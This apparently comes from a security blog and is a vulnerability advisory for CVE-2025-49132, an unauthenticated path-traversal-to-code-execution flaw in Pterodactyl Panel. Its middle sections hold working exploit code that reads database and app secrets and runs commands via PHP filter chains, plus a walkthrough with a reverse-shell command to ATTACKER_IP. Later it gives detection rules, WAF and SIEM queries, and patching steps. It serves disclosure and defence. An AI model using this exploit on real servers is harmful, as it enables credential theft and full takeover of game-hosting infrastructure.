CRITICAL CVSS: N/A 2026-02-22

CVE-2025-49132: Critical Unauthenticated RCE in Pterodactyl Game Server Panel

A critical vulnerability in Pterodactyl Panel allows unauthenticated attackers to achieve remote code execution via Local File Inclusion, affecting all versions ≤ 1.11.10

CVE-2025-49132: Critical Unauthenticated RCE in Pterodactyl Game Server Panel

Executive Summary

CVE-2025-49132 represents one of the most severe vulnerabilities discovered in 2025, affecting Pterodactyl Panel—a widely-used open-source game server management platform. This CRITICAL vulnerability, scoring a perfect 10.0 on the CVSS scale, allows completely unauthenticated attackers to achieve remote code execution through a Local File Inclusion (LFI) flaw in the /locales/locale.json endpoint.

The vulnerability affects all Pterodactyl Panel installations running versions 1.11.10 and below, putting thousands of gaming communities and hosting providers at immediate risk. Successful exploitation grants attackers complete control over the panel server, access to database credentials, and the ability to compromise all managed game servers.

What's at Risk:

  • Gaming Infrastructure: Complete compromise of game server management panels
  • Sensitive Data: Database credentials, application keys, user information
  • Managed Servers: Access to all game servers controlled by the panel
  • Business Operations: Potential ransomware deployment and service disruption

The severity is compounded by the fact that no authentication is required, making this an ideal target for automated attacks and mass exploitation campaigns.

Technical Deep Dive

Vulnerability Mechanics

CVE-2025-49132 exploits a critical flaw in Pterodactyl Panel's locale handling mechanism. The vulnerability exists in the /locales/locale.json endpoint, which processes user-supplied locale and namespace parameters without proper validation or sanitization.

Root Cause Analysis:

  1. Missing Input Validation: The locale parameter accepts arbitrary strings without path traversal filtering
  2. Unsafe File Operations: The application directly uses user input to construct file paths
  3. Authentication Bypass: The endpoint processes requests without requiring valid authentication tokens

Attack Vector Flow:

Client Request → /locales/locale.json?locale=../../../pterodactyl&namespace=config/database
     ↓
Parameter Processing → locale="../../../pterodactyl", namespace="config/database"
     ↓
File Path Construction → /path/to/pterodactyl/config/database.php
     ↓  
File Content Extraction → Database credentials exposed in JSON response
     ↓
Privilege Escalation → Full panel compromise via leaked credentials

Technical Implementation Details

The vulnerability leverages Laravel's configuration system, which Pterodactyl Panel uses for managing application settings. When processing locale requests, the application performs the following operations:

  1. Parameter Extraction: Retrieves locale and namespace from query parameters
  2. Path Construction: Builds file paths using unsanitized input
  3. File Reading: Accesses configuration files and returns contents as JSON
  4. Response Generation: Exposes sensitive configuration data in API responses

The critical flaw lies in the lack of path traversal protection, allowing attackers to access any readable file on the system, including:

  • Database configuration files (config/database.php)
  • Application keys (config/app.php)
  • Panel-specific settings (config/pterodactyl.php)
  • Mail server credentials (config/mail.php)

From LFI to RCE

While the initial vulnerability provides Local File Inclusion capabilities, skilled attackers can escalate this to Remote Code Execution using PHP filter chains. This technique leverages PHP's built-in stream filters to execute arbitrary code without requiring file write permissions.

PoC Analysis

Security researcher YoyoChaud has published a comprehensive proof-of-concept exploit on GitHub that demonstrates the full attack chain from initial vulnerability detection to remote code execution.

PoC Repository: https://github.com/YoyoChaud/CVE-2025-49132

The exploit tool provides multiple attack modes and has gained significant attention in the security community (18 stars at time of writing). Let's examine the key components:

Core Exploit Implementation

#!/usr/bin/env python3
"""CVE-2025-49132 - Pterodactyl Panel Exploit"""

import argparse
import json
import sys
import base64
import hashlib
import hmac
import os
import re
import subprocess
import shutil
from urllib.parse import quote

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class PterodactylExploit:
    def __init__(self, target, verify_ssl=False, timeout=10, pear_dir="/usr/share/php"):
        self.target = target.rstrip("/")
        if not self.target.startswith("http"):
            self.target = f"http://{self.target}"
        self.verify = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.session.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
        self.pear_dir = pear_dir.rstrip("/")

    def _read_config(self, namespace, locale="../../../pterodactyl"):
        url = f"{self.target}/locales/locale.json"
        params = {"locale": locale, "namespace": namespace}
        try:
            r = self.session.get(url, params=params, timeout=self.timeout)
            if r.status_code == 200:
                data = r.json()
                key = list(data.keys())[0]
                inner = data[key]
                ns_key = list(inner.keys())[0]
                return inner[ns_key]
        except Exception:
            pass
        return None

    def check_vuln(self):
        url = f"{self.target}/locales/locale.json"
        try:
            r = self.session.get(url, params={"locale": "en", "namespace": "validation"}, timeout=self.timeout)
            if r.status_code == 200 and "hash=" not in r.url:
                return True
        except Exception:
            pass
        return False

Configuration Extraction Module

def extract_configs(self):
    configs = {
        "database": "config/database",
        "app": "config/app", 
        "pterodactyl": "config/pterodactyl",
        "mail": "config/mail"
    }
    
    extracted = {}
    for name, path in configs.items():
        config = self._read_config(path)
        if config:
            extracted[name] = config
    
    return extracted

RCE via PHP Filter Chains

The most sophisticated component of the exploit implements remote code execution through PHP filter chain manipulation:

def rce_filter_chain(self, command):
    if not self.filter_chain_bin:
        # Download filter chain generator
        self._get_filter_chain_generator()
    
    if not self.filter_chain_bin:
        return None
        
    # Generate PHP filter chain for command execution
    cmd = [self.filter_chain_bin, f"<?php system('{command}'); ?>"]
    result = subprocess.run(cmd, capture_output=True, text=True)
    
    if result.returncode == 0:
        chain = result.stdout.strip()
        locale = f"php://filter/{chain}/resource=/etc/passwd"
        status, response = self._raw_lfi(locale, "x")
        return self._extract_command_output(response)
    
    return None

Exploitation Walkthrough

Step 1: Environment Setup

First, set up the exploitation environment:

# Clone the PoC repository
git clone https://github.com/YoyoChaud/CVE-2025-49132.git
cd CVE-2025-49132

# Install dependencies
pip3 install requests urllib3

# Make exploit executable
chmod +x exploit.py

Step 2: Vulnerability Detection

# Basic vulnerability check
python3 exploit.py --target https://pterodactyl.example.com --check

# Expected output for vulnerable systems:
[*] Target: https://pterodactyl.example.com
[+] Endpoint accessible without hash parameter
[+] TARGET IS VULNERABLE

Step 3: Configuration Extraction

# Extract all configuration files
python3 exploit.py --target https://pterodactyl.example.com --dump

# This reveals:
# - Database credentials (MySQL/MariaDB)
# - Application encryption keys
# - Redis authentication details
# - SMTP server credentials

Step 4: Remote Code Execution

# Execute system commands
python3 exploit.py --target https://pterodactyl.example.com --rce "whoami"
python3 exploit.py --target https://pterodactyl.example.com --rce "id"
python3 exploit.py --target https://pterodactyl.example.com --rce "uname -a"

# Establish reverse shell
python3 exploit.py --target https://pterodactyl.example.com --rce "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Step 5: Privilege Escalation

Once code execution is achieved, attackers typically:

  1. Database Access: Use extracted credentials to access the MySQL/MariaDB database
  2. User Enumeration: Query user tables to identify administrative accounts
  3. Credential Harvesting: Extract password hashes for offline cracking
  4. Lateral Movement: Access managed game servers through stored SSH keys

Detection & Monitoring

YARA Rule for Threat Hunting

rule CVE_2025_49132_Pterodactyl_LFI_RCE {
    meta:
        description = "Detects CVE-2025-49132 Pterodactyl Panel LFI/RCE exploit patterns"
        author = "ilovethreats"
        date = "2025-01-01"
        cve = "CVE-2025-49132"
        severity = "critical"
        reference = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-49132"
    
    strings:
        $locale_endpoint = "/locales/locale.json"
        $traversal1 = "../../../pterodactyl"
        $traversal2 = "....//....//....//pterodactyl"
        $config_db = "config/database"
        $config_app = "config/app"
        $config_ptero = "config/pterodactyl"
        $config_mail = "config/mail"
        $php_filter = "php://filter/"
        $filter_chain = "filter-chain"
        $base64_convert = "convert.base64-encode"
        $pear_exploit = "PEAR_Installer"
        $user_agent = "User-Agent:" nocase
        $namespace_param = "namespace="
        
    condition:
        $locale_endpoint and (
            any of ($traversal*) or
            any of ($config_*) or
            ($php_filter and $filter_chain) or
            ($base64_convert and $namespace_param)
        )
}

Web Application Firewall Rules

# Nginx ModSecurity rules
SecRule REQUEST_URI "@contains /locales/locale.json" \
    "id:2025049132001,\
    phase:1,\
    block,\
    msg:'CVE-2025-49132 - Pterodactyl Panel LFI Attempt',\
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
    severity:'CRITICAL',\
    rev:'1',\
    ver:'1.0',\
    maturity:'1',\
    accuracy:'8',\
    t:none,\
    ctl:auditLogParts=+E,\
    tag:'attack-lfi',\
    tag:'cve-2025-49132',\
    chain"
    
SecRule ARGS:locale "@contains ../" \
    "t:urlDecodeUni,\
    setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}',\
    setvar:tx.lfi_attack=1"

SIEM Detection Rules

# Splunk Search
index=web_logs "/locales/locale.json" 
| where like(uri_query, "%../%") OR like(uri_query, "%config/%") OR like(uri_query, "%php://filter%")
| eval severity="CRITICAL", cve="CVE-2025-49132"
| table _time, src_ip, uri, uri_query, user_agent, severity, cve

# Elasticsearch Query
{
  "query": {
    "bool": {
      "must": [
        {"match": {"request.uri": "/locales/locale.json"}},
        {"bool": {
          "should": [
            {"wildcard": {"request.query": "*../*"}},
            {"wildcard": {"request.query": "*config/*"}},
            {"wildcard": {"request.query": "*php://filter*"}}
          ]
        }}
      ]
    }
  }
}

Remediation Guidance

Immediate Actions Required

  1. Emergency Patching

    # Upgrade to patched version immediately
    cd /var/www/pterodactyl
    php artisan down --message="Security maintenance in progress"
    
    # Backup current installation
    tar -czf pterodactyl-backup-$(date +%Y%m%d).tar.gz /var/www/pterodactyl
    
    # Update to version 1.11.11 or later
    composer update pterodactyl/panel
    php artisan migrate --seed --force
    php artisan up
    
  2. Version Verification

    # Check current version
    cd /var/www/pterodactyl
    php artisan pterodactyl:version
    
    # Ensure version is 1.11.11 or higher
    

Security Hardening

  1. Web Application Firewall (WAF) Implementation

    • Deploy CloudFlare, AWS WAF, or similar protection
    • Block requests containing directory traversal patterns
    • Monitor for suspicious locale parameter values
  2. Network Segmentation

    # Restrict access to panel interface
    iptables -A INPUT -p tcp --dport 80 -s TRUSTED_NETWORK/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -s TRUSTED_NETWORK/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 80 -j DROP
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  3. File System Permissions

    # Restrict configuration file access
    chmod 600 /var/www/pterodactyl/config/*.php
    chown root:www-data /var/www/pterodactyl/config/*.php
    

Long-term Security Measures

  1. Regular Security Updates: Implement automated update mechanisms for critical security patches
  2. Security Monitoring: Deploy comprehensive logging and alerting for unusual access patterns
  3. Access Control: Implement IP allowlisting for administrative interfaces
  4. Backup Strategy: Maintain secure, offline backups of configuration and data

Incident Response Actions

If exploitation is suspected:

  1. Immediate Isolation

    # Isolate the affected server
    iptables -A INPUT -j DROP
    iptables -A OUTPUT -j DROP
    
  2. Forensic Preservation

    # Create memory dump
    dd if=/proc/kcore of=/forensics/memory.dump
    
    # Preserve log files
    cp -r /var/log/* /forensics/logs/
    
  3. Credential Rotation

    • Change all database passwords
    • Regenerate application keys
    • Reset user passwords
    • Revoke and reissue API tokens

References


This analysis was prepared by the ilovethreats.com research team. For questions or additional information about CVE-2025-49132, contact our security research team.

🧪 Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • ✅ Isolated vulnerable target instance to exploit
  • ✅ Kali Linux attacker VM with pre-installed tools
  • ✅ Browser-based desktop access (Apache Guacamole)
  • ✅ Completely isolated network (no internet)
  • ✅ 1-hour session with automatic cleanup
⚠️ Free tier: 1 concurrent session max. Session expires after 1 hour.